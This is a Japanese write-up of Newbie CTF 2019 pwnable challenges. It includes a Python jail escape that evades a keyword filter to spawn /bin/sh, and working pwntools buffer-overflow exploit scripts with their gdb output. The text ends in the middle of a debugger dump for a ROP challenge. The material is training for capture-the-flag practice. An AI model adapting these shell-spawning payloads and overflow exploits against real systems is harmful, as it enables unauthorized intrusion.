Newbie CTF 2019 Writeup
- Newbie CTF 2019 について
- Newbie CTF 2019 Writeup(14問)
Newbie CTF 2019 について
Newbie CTF 2019 が開催されました。
2019年11月02日午前0時~2019年11月03日午前0時(24時間)
※ 開始後に何度かサーバトラブルがあり、結局3時間延長となりました。
韓国のCTFチームKorNewbieが主催のCTFです。 難易度は、結構低めでpicoCTFの400~500点ぐらいの難易度ぐらいという印象でした。 今回もチームで参加しました。チームメンバが4問解いてくれました。 結果は、14/566位で、11874点でした。 私も14問解くことができたので、そのWriteupを紹介します。
Newbie CTF 2019 Writeup(14問)
python_jail(Pwnable)
問題
Hi! Welcome to pyjail!
Escape Jail If you can!
Author: SPark
nc prob.vulnerable.kr 20001
解答例
netcatで接続すると、以下のようなメッセージが出てきました。
$ nc prob.vulnerable.kr 20001 Hi! Welcome to pyjail! ======================================================================== #! /usr/bin/python3 #-*- coding:utf-8 -*- def main(): print("Hi! Welcome to pyjail!") print("========================================================================") print(open(__file__).read()) print("========================================================================") print("RUN") text = input('>>> ') for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']: if keyword in text: print("No!!!") return; else: exec(text) if __name__ == "__main__": main() ======================================================================== RUN >>>
どうやらpythonから抜け出すことが目的のようです。 ただし、いくつかのキーワード(eval、exec、import、open、os、read、system、write)が禁止となっているようです。
色々と試しながら調整をしていると、 以下の入力で、各キーワードを回避しながらシェルを起動させることに成功しました。
__builtins__.__dict__['ev'+'al']('__imp'+'ort__(\"o'+'s\").sys'+'tem(\"/bin/sh\")')
実際に入力すると、以下のようになります。
$ nc prob.vulnerable.kr 20001 Hi! Welcome to pyjail! ======================================================================== #! /usr/bin/python3 #-*- coding:utf-8 -*- def main(): print("Hi! Welcome to pyjail!") print("========================================================================") print(open(__file__).read()) print("========================================================================") print("RUN") text = input('>>> ') for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']: if keyword in text: print("No!!!") return; else: exec(text) if __name__ == "__main__": main() ======================================================================== RUN >>> __builtins__.__dict__['ev'+'al']('__imp'+'ort__(\"o'+'s\").sys'+'tem(\"/bin/sh\")') id uid=1000(python_jail) gid=1000(python_jail) groups=1000(python_jail) cat /home/python_jail/flag KorNewbie{H311o_h0w_@r3_y0u_d0lng?}
FLAG
KorNewbie{H311o_h0w_@r3_y0u_d0lng?}
babypwn(Pwnable)
問題
This Challenge remake...
i want many solve!!!
do you know Buffer Overflow???
nc prob.vulnerable.kr 20035
Author : 이도현
添付ファイル
- babypwn
解答例
とりあえず、fileコマンドとchecksecコマンドを打ってみます。 問題文通り、バッファオーバーフローができそうです。
$ file babypwn babypwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=bba69da963702e6c7c0dbdcda99c6c050c1894e0, not stripped $ checksec babypwn [*] '/root/workdir/babypwn/babypwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE
Ghidraでも開いてみます。 getsのところでバッファオーバーフローさせて、flag2関数に呼び出せば、シェルが取れそうです。
次にgdb-pedaのpattcとpattoを使ってオーバーフローする場所を確かめます。 1032文字でオーバーフローするようです。
gdb-peda$ pattc 1100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA' gdb-peda$ run Starting program: /root/workdir/babypwn/babypwn How is the weather today? : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x44c RDX: 0x7ffff7dd59e0 --> 0x0 RSI: 0x7ffffbb3 RDI: 0x1 RBP: 0x6e41286e412d6e41 ('An-An(An') RSP: 0x7fffffffe4c8 ("DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA") RIP: 0x400603 (<main+77>: ret) R8 : 0x6e417a2441792441 ('A$yA$zAn') R9 : 0x41426e41736e4125 ('%AnsAnBA') R10: 0x7ffff7dd26a0 --> 0x0 R11: 0x246 R12: 0x4004c0 (<_start>: xor ebp,ebp) R13: 0x7fffffffe5a0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4005f8 <main+66>: call 0x400480 <printf@plt> 0x4005fd <main+71>: mov eax,0x0 0x400602 <main+76>: leave => 0x400603 <main+77>: ret 0x400604 <flag1>: push rbp 0x400605 <flag1+1>: mov rbp,rsp 0x400608 <flag1+4>: sub rsp,0x10 0x40060c <flag1+8>: mov DWORD PTR [rbp-0x4],0x0 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe4c8 ("DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA") 0008| 0x7fffffffe4d0 ("nEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA") 0016| 0x7fffffffe4d8 ("AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA") 0024| 0x7fffffffe4e0 ("1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA") 0032| 0x7fffffffe4e8 ("n2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA") 0040| 0x7fffffffe4f0 ("An3AnIAneAn4AnJAnfAn5AnKAngA") 0048| 0x7fffffffe4f8 ("eAn4AnJAnfAn5AnKAngA") 0056| 0x7fffffffe500 ("nfAn5AnKAngA") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000400603 in main () gdb-peda$ patto DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA found at offset: 1032 gdb-peda$
以下のようなスクリプトを作成しました。
from pwn import * ARCH = "amd64" FILE = "./babypwn" LIBC = "" HOST = "prob.vulnerable.kr" PORT = 20035 def exploit(con, elf, libc, rop): flag_symbol = elf.symbols[b"flag2"] log.info("flag symbol: {}".format(hex(flag_symbol))) offset = 1032 payload = b"A" * offset payload += pack(flag_symbol) log.info("payload: {}".format(payload)) con.sendline(payload) def main(): context(arch=ARCH, os="linux") if args["REMOTE"]: con = remote(HOST, PORT) else: con = process([FILE]) elf = ELF(FILE) if LIBC != "": libc = ELF(LIBC) else: libc = "" rop = ROP(elf) exploit(con, elf, libc, rop) con.interactive() if __name__ == "__main__": main()
実行すると、シェルが取れました。
$ python exploit.py REMOTE [+] Opening connection to prob.vulnerable.kr on port 20035: Done [*] '/root/workdir/babypwn/babypwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE [*] Loaded cached gadgets for './babypwn' [*] flag symbol: 0x400636 [*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6\x06@\x00\x00\x00\x00\x00' [*] Switching to interactive mode $ id uid=1000(babypwn) gid=1000(babypwn) groups=1000(babypwn) $ cat /home/babypwn/flag KorNewbie{Th1s_1S_R34L_Fl4g_C0ngr4tu14ti0n5!}$
FLAG
KorNewbie{Th1s_1S_R34L_Fl4g_C0ngr4tu14ti0n5!}
OneShot_OneKill(Pwnable)
問題
You have just one bullet.... kill him! Author: Y311J(신재욱)
nc prob.vulnerable.kr 20026
添付ファイル
- oneshot_onekill
解答例
とりあえず、fileコマンドとchecksecコマンドを打ってみます。 バッファオーバーフローができそうです。
$ file oneshot_onekill oneshot_onekill: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=02fcb5d276e425265c5490b5d01b344bfbb2b7d1, not stripped $ checksec oneshot_onekill [*] '/root/workdir/oneshot_onekill/oneshot_onekill' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE
Ghidraでも開いてみます。 getsのところでバッファオーバーフローさせて、oneshot関数に呼び出せば、フラグが表示されそうです。
次にgdb-pedaのpattcとpattoを使ってオーバーフローする場所を確かめます。 304文字でオーバーフローするようです。
gdb-peda$ pattc 400 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y' gdb-peda$ run Starting program: /root/workdir/oneshot_onekill/oneshot_onekill Do you know basic of BOF? This prob is for newbie pwner, so it is x32 binary This Environment has only ASLR and NX, NO other migitations Can you Exploit it? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%- A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0xf7fcb000 --> 0x1a9da8 ECX: 0xf7fcbb07 --> 0xfcc8980a EDX: 0xf7fcc898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0x6825414c ('LA%h') ESP: 0xffffd5e0 ("%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") EIP: 0x41372541 ('A%7A') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41372541 [------------------------------------stack-------------------------------------] 0000| 0xffffd5e0 ("%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") 0004| 0xffffd5e4 ("iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") 0008| 0xffffd5e8 ("A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") 0012| 0xffffd5ec ("%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") 0016| 0xffffd5f0 ("9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") 0020| 0xffffd5f4 ("A%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") 0024| 0xffffd5f8 ("%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") 0028| 0xffffd5fc ("lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41372541 in ?? () gdb-peda$ patto 0x41372541 1094133057 found at offset: 304
以下のようなスクリプトを作成しました。
from pwn import * ARCH = "i386" FILE = "./oneshot_onekill" LIBC = "" HOST = "prob.vulnerable.kr" PORT = 20026 def exploit(con, elf, libc, rop): oneshot_symbol = elf.symbols[b"oneshot"] log.info("oneshot symbol: {}".format(hex(oneshot_symbol))) offset = 304 payload = b"A" * offset payload += pack(oneshot_symbol) log.info("payload: {}".format(payload)) con.sendline(payload) def main(): context(arch=ARCH, os="linux") if args["REMOTE"]: con = remote(HOST, PORT) else: con = process([FILE]) elf = ELF(FILE) if LIBC != "": libc = ELF(LIBC) else: libc = "" rop = ROP(elf) exploit(con, elf, libc, rop) con.interactive() if __name__ == "__main__": main()
実行すると、フラグが表示されます。
$ python exploit.py REMOTE [+] Opening connection to prob.vulnerable.kr on port 20026: Done [*] '/root/workdir/oneshot_onekill/oneshot_onekill' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [*] Loaded cached gadgets for './oneshot_onekill' [*] oneshot symbol: 0x80485a5 [*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa5\x85\x04\x08' [*] Switching to interactive mode Do you know basic of BOF? This prob is for newbie pwner, so it is x32 binary This Environment has only ASLR and NX, NO other migitations Can you Exploit it? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa5\x85\x0 KorNewbie{Nice_Sh0T_N3wbie_Pwner!$#} :(....One Shot.. One Kill..[*] Got EOF while reading in interactive $
FLAG
KorNewbie{Nice_Sh0T_N3wbie_Pwner!$#}
dRop_the_beat(Pwnable)
問題
dRop the Beat DJ!!
Author: Y311J(신재욱)
nc prob.vulnerable.kr 20002
添付ファイル
- drop_the_beat_easy
- libc.so.6
解答例
とりあえず、fileコマンドとchecksecコマンドを実行してみます。 32bitのELFファイルで、バッファオーバーフローもできそうです。
$ file drop_the_beat_easy libc.so.6 drop_the_beat_easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=f939bdeeebda44feabe09476f2c6bbd6ed32c42a, not stripped libc.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked (uses shared libs), BuildID[sha1]=9a6b57c7a4f93d7e54e61bccb7df996c8bc58141, for GNU/Linux 2.6.32, stripped $ checksec drop_the_beat_easy libc.so.6 [*] '/root/workdir/drop/drop_the_beat_easy' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE [*] '/root/workdir/drop/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
次にGhidraでデコンパイルしてみました。39行目のところでバッファローできそうです。 ただし、今回は、呼び出してフラグが表示されそうな関数は見当たりませんでした。
今回は、libcファイルが提供されています。 提供されたlibcファイルでROPチェインを作成し、シェルを起動させる方針で進めていきます。
やるべき作業は、以下の3点です。
- バッファオーバーフロー位置の特定
- libcのベースアドレスの特定
- ROPチェインの作成
まずは、gdb-pedaのpattcとpattoでバッファオーバーフロー位置を特定します。
gdb-peda$ pattc 400 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y' gdb-peda$ run Starting program: /root/workdir/drop/drop_the_beat_easy dP 888888ba .88888. 888888ba dP dP dP dP 88 88 `8b d8' `8b 88 `8b 88 88 88 88 .d888b88 a88aaaa8P' 88 88 a88aaaa8P' d8888P 88d888b. .d8888b. 88d888b. .d8888b. .d8888b. d8888P 88' `88 88 `8b. 88 88 88 88 88' `88 88ooood8 88' `88 88ooood8 88' `88 88 88. .88 88 88 Y8. .8P 88 88 88 88 88. ... 88. .88 88. ... 88. .88 88 `88888P8 dP dP `8888P' dP dP dP dP `88888P' 88Y8888' `88888P' `88888P8 dP oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo dROP The beat(easy version) 1) Give Him a Beat! 2) No Beat For You..! 1 Give Me a Beat!! AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%- A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0xf7fcb000 --> 0x1a9da8 ECX: 0xf7fcbb07 --> 0xfcc8980a EDX: 0xf7fcc898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0x41684141 ('AAhA') ESP: 0xffffd5f0 ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\ 377\243\336\377\377"...) EIP: 0x41413741 ('A7AA') EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41413741 [------------------------------------stack-------------------------------------] 0000| 0xffffd5f0 ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377 \377\243\336\377\377"...) 0004| 0xffffd5f4 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377 \243\336\377\377\262\336\377\377"...) 0008| 0xffffd5f8 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377"...) 0012| 0xffffd5fc ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377"...) 0016| 0xffffd600 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377"...) 0020| 0xffffd604 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377\364\336\377\377"...) 0024| 0xffffd608 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377\364\336\377\377\374\336\377\377"...) 0028| 0xffffd60c ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\377\243\336\377\377\262\336\377\377\311\336\377\377\332\336\377\377\343\336\377\377\364\336\377\377\374\336\377\377\a\337\377\377"...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41413741 